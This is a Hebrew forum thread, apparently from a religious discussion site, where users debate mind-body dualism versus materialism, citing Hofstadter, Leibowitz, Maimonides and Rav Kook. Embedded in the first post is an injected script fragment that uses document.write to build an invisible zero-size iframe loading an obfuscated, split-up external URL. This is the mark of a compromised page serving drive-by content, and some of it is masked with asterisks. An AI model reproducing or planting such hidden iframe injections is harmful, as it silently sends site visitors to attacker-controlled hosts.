בית פורומים עצור כאן חושבים

דואליזם

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-3/3/2013 21:18 לינק ישיר 

מיימוני כתב:

פתרון מסוג אחר הוא לטעון שיש קשר שאינו ניתן לזיהוי על ידי המדע בין שני הצדדים. זה פתרון שהיה מקובל על הוגי דעות וחוקרים דתיים. אחד היישומים שלו הוא להטיל על האלוקים לבצע את המעברים האלו עבורנו, בני האדם (למשל במסגרת התפיסה האטומיסטית, לא זו של דמוקריטוס אלא של הפילוסופיה המוסלמית ועד לחסידות בת זמננו: העולם נברא כל רגע מחדש וה' אחראי להתאמות).

******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



זה בדיוק סוג ה'תשובות' שהקריקטורה שהדבקתי נועדה להגחיך.


הטיעון הלוגי שמאחורי ההגחכה - 
1. הטענה שנקודה מסוימת בהסבר היא 'נס', כלומר במילים אחרות אין מודל שמסביר את האירוע הבלתי אפשרי לוגית שהמנטלי משפיע על הפיזיקלי (כאשר המנטלי לפי הגדרה אינו מייצר סיבתיות פיזיקלית - אחרת הוא היה פיזיקלי, סוג שונה של) מייתרת את כל ההסבר מלכתחילה.
2. אם בניסים עסקינן, אין בעיה להניח שהכל מטריאלי, וזהו 'נס' שהמנטלי הוא בעצם מטריאלי.


הסיכום ה'ממצה' של מיימוני כמובן אינו ממצה במאום, כמו תמיד מציג רק צד אחד באופן מוטה.








דדווח על תוכן פוגעני

מנותק
נשלח ב-3/3/2013 21:27 לינק ישיר 

רציוס'

תודה על התגובה.

עמך הסליחה. לא שמתי לב לקריקטורה. איני רגיל לשים לב לתמונות אלא למילים.

באשר לדברים שכתבת.

אשר לכך ש"נס" אינו הסבר ברמה המדעית, בוודאי שאני מסכים עמך. אמנם המבקש לבקר את העמדה הזו , כמוך וכמוני, צריך להסביר את הנחות היסוד שלו. כמדומה שמה שעשית אתה הוא להראות שכוח ההסבר של עמדה זו חזק מדי,  כי היא יכולה להסביר הכל. זה נכון, אבל האם זה חסרון?

שנית, באתי בדברי קודם כל לסכם את כל הפתרונות המוכרים לי. אם לדעתך שכחתי פתרון כלשהו, אתה מוזמן להוסיפו.

אם אתה סבור שהעמדה שלי היא מוטה, אתה מוזמן להצביע על המקום שבו טעיתי והטעיתי. אני מודיע מראש שאהיה אסיר תודה על כך. אני משתדל לא להיות מוטה, ואם כן, אזי להיות מודע לעצמי מדוע בחרתי בצד זה או אחר ועל סמך מה.

להזכירך, על זה מבוסס הפורום שלנו. להכיר את עמדותינו, את הנחות היסוד שלהן, ולבדוק אותן מול אפשרויות אחרות.

לעומת זאת, הצהרות כלליות שיש טעות במקום כלשהו בלי להצביע עליה, זה אינו מספיק לדעתי.

נכון שזו טרחה רבה לפרט היכן הטעות, אבל זה החסד שאנו עושים זה עם זה.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-4/3/2013 21:12 לינק ישיר 

מיימוני,
תודה על הסקירה המקיפה.

בהמשך לה, אולי כדאי לציין שתי בעיות בהשקפה שהכל הוא חומר - המטריאליזם. וזאת כאיזון לדגש המוקדם באשכול זה על קושי בהשקפה שקיימים גם חומר וגם רוח - הדואליזם. אפשר אכן למצוא פירוט בנושא זה בשני הספרים שהזכרת, וכן בספרו האחרון של הרב מיכאל.

הבעיה הבולטת ביותר, נדמה לי, של המטריאליזם היא בעיית החוויה. אנחנו למשל רואים צבע ירוק, טועמים טעם מר, וכן הלאה. איננו רואים אורכי גל, איננו טועמים תבניות כימיות, וכן הלאה. אין כנראה כיום הסבר מטריאלי, או אף מושגים מטריאליים, עבור תופעת החוויה. גם קשה לראות איך יכולים להיות אי פעם.

בעיה נוספת אם כי חמקמקה יותר היא מה שמכונה בעיית האינטנציונליות. דרך אחת להציג אותה היא כך: ברור לגבי המחשבים שקיימים כיום שהם לא חושבים. אנחנו חושבים (לפעמים) והמחשבים רק מחשבים (החי״ת בפת״ח). אך קשה לראות מה יגרום למחשבים לחשוב גם בעתיד. הם יהיו יותר ויותר מורכבים. הם יוכלו אף לחקות בני אדם. אך מה יוכל להפוך אותם ליצורים חושבים ומודעים, ולא רק מכונות משוכללות?

גם לדואליזם יש בעיות. הבעיה המרכזית אולי היא חוסר ההשתלבות שלו בתיאוריות המדעיות. אני לא חושב שהדואליזם לא יכול הגיונית להשתלב, אלא שבפועל הדבקות במטריאליזם הפכה לעיקרון של המחקר המדעי, וטרם צצה סיבה מספיק חזקה לוותר על העיקרון הזה.

בעיית גוף-נפש נחשבת לאחת הבעיות הגדולות של הפילוסופיה: בעיה שטרם הוכרעה. ושאולי לא תוכרע אף פעם.



דדווח על תוכן פוגעני

מנותק
נשלח ב-6/3/2013 09:21 לינק ישיר 

מיימוני, תודה רבה על תשובתך המפורטת.

אני מכיר את הבעיה הפסיכופיזית, אכן יש בעיה אבל אני חושב שהיא בעיקר מתחום המוסר (אי אפשרות לגזור ערכים מעובדות)

מצד שני מאז לייבוביץ הרבה מים עברו בירקון ומדע הקוגניציה ופילוסופיית הmind התפתחו הרבה (בפרט פונקציונליזם), אם הזכרנו את הופשטטר אז ספרו השני ("אני לולה מוזרה) מוקדש במלואו לנושא זה.

נכון שלהסביר "אהבה" במושגי אורכי גל זה טיפשי, אבל דווקא המשל של קן הנמלים של הופשטטר בא להסביר המון, אתה לקחת ממנו כמובן את הצדדי (המודעות שיש לקן) לא בזה עסקינן, קן הוא אוסף הנמלים מרמה גבוהה ויש לו תכונות נוספות ודרכי תיאור נוספות שאפשר לתאר אותו בהן, המודעות שלנו תופסת את הדברים ברמה מסויימת, לא ברמת התנגשות הגל ברישתית או בעיבודו באזורי המוח אלא לאחר שהוא עובד אתה תופס את ה"קן" של ה"אהבה", פה כבר נכנסות דרכי תיאור נוספות בדמות פואטיקה.

יש עוד עבודה רבה לעשות בתחום (הוא רק בחיתוליו) לא הייתי ממהר לחרוץ גורלות ולהגיד שאף פעם לא נוכל להסביר באופן שלם את התודעה, גם קאנט חשב שמדע הלוגיקה הושלם ואין מה לפתח בו יותר, עד שבא פרגה וטרף את הקלפים.

ואעיר עוד משהו קטן, אני בעצמי עוד לא בטוח אם אני דואליסט או מטריאליסט, בשביל זה אני חוקר, אבל מה שכן, לאורך כל ההיסטוריה של המדעים התגלו חורים, כשלים, אי התאמה וכו' בתאוריות, הדרך הפשוטה הייתה להגיד:" שמע.. זה אלוהים זה לא מתפקידנו להבין, אולי גם אי אפשר להבין" אלוהי פערים כזה הוא איש קש שלא במתכוון ואתאיסטים נהנים לחבוט בו בכל הזדמנות ובצדק.


נ.ב. לגבי מה שאמרת על כוח ההסבר "אלוהים" ועל כך שזה לא בטוח חיסרון להשתמש בכזו טאוטולוגיה ראה "החברה הפתוחה ואויבה"



דדווח על תוכן פוגעני

מחובר
נשלח ב-11/3/2013 02:08 לינק ישיר 

kaner91 כתב:
נדמה לי שרוב הזרמים ביהדות סוברים שההשקפה הדואליסטית מתארת נכונה את המציאות.

אפילו מקומם.. הדואליזם מדבר על סיבות אוטונומיות. ברור כי היהדות מחזיקה בסיבה ראשונה. וסיבה ראשונה אינה מושפעת בשום דבר.
אפשר לשאול מה זה נפש. אבל כל תשובה ביהדות אמורה לא להתנגד לסיבתיות חד כיוונית הזאת.

מחשבה היא גשמית, ניסיתי לבאר את זה כאן, "רוחני משמעו גשמי" 

איך גשמי פועל על פי בלתי גשמי? העולם כמנהגו נוהג, איך? העולם הגשמי משתנה על פי חוק בלתי גשמי בלתי משתנה. האם אפשר לדבר על מנגנון הכופה על כל גשמי לפעול על פי חוק אחד? בכל מקרה כיוון התשובה הוא בחוקיות העולם.
הא-ל הוא צורת העולם. הנפש, אם לדבר על נפש בלתי גשמי, הוא ביטוי לצורת האדם כחוקיותו.

_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה




דדווח על תוכן פוגעני

מנותק
נשלח ב-11/3/2013 11:18 לינק ישיר 


אני לא מבין מה מקומם בקביעתי, לפי מה שלמדתי מהיהדות עד היום התרשמתי שהדואליזם היא השיטה השלטת אצל רוב ההוגים, מקצתם מחזיקים באידיאליזים וכמעט אף אחד אינו מחזיק במטריאליזם.

ולעניין מה שכתבת, אם הבנתי נכון (וזה בכלל לא בטוח) אתה אומר שהכל הוא גשמי מלבד החוקיות השוררת בטבע, אם כך הדבר אז למה לא להגיד שזהו תכונה של החומר והמילה "חוק" הוא הפשטה אנושית? בדיוק כמו שהנפש היא הפשטה אנושית לחומר מרמה גבוהה.



דדווח על תוכן פוגעני

מחובר
נשלח ב-11/3/2013 21:09 לינק ישיר 

kaner91 כתב:

 אתה אומר שהכל הוא גשמי מלבד החוקיות השוררת בטבע

כן.

***למה לא להגיד שזהו תכונה של החומר***
תכונה היא נגיד בעלות באיכות מסוימת. תכונות הן גם כפופות לסדר העולם.

אפשר לדון על הגדרות, אבל "יש מצוי זולת כל הגופים שבעולם, אשר הוא אינו גוף ואינו כוח בגוף והוא אחד תמידי ונצחי, אשר אין לו עילה ולא ייתכן שהוא ישתנה. הוא אפוא א-לוה." (מ"נ א', עא)
לדעתי, תיאור הרמב"ם כאן מתאר את מה שקוראים לו סדר העולם, והייתי קורא לו חוק העולם.
כל גשמי כפוף לסדר העולם וזהו העיקר. כול גשמי לא משפיע על סדר העולם הקבוע. כלומר, כל גשמי הוא אינו סיבה לסדר (החוק קיים גם בלעדי כל גשמי בנפרד), אלא החוק הוא סיבה לתופעות העולם.
אגב, הרב קוק קורא לא-ל, "חוק בורא כל".

_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה




דדווח על תוכן פוגעני

מנותק
נשלח ב-29/4/2013 17:31 לינק ישיר 



דואליזם על קצה המזלג:

יש לך חומר, אחי ?

לא, נשמה.

("היידגר והיפופוטם מגיעים לשערי גן עדן" עמ' 108)



דדווח על תוכן פוגעני

מנותק
נשלח ב-29/4/2013 18:13 לינק ישיר 

ספרן, זה אידיאליזם על קצה המזלג.



דדווח על תוכן פוגעני

מנותק
נשלח ב-29/4/2013 18:17 לינק ישיר 




יפה דרשת !



דדווח על תוכן פוגעני

מנותק
נשלח ב-29/4/2013 19:39 לינק ישיר 

אחי ,בחיים אל תיגע בחומר ,
הזבל הזה כמעט הוציא לי את הנשמה



דדווח על תוכן פוגעני

מחובר
נשלח ב-30/4/2013 12:26 לינק ישיר 

חומר למחשבה



דדווח על תוכן פוגעני

מחובר
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > דואליזם
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
לדף הקודם 1 2 סך הכל 2 דפים.

bholext
2009 © כל הזכויות שמורות לבחדרי חרדים. קטגוריית אקטואליה וחדשות: עשרות פורומים הכוללים חדשות נעייס, מה קורה בחצרות חסידים, חדשות מחסידויות שונות בארץ ובעולם, דיונים בנושאי אקטואליה, פוליטיקה, בטחון ועוד.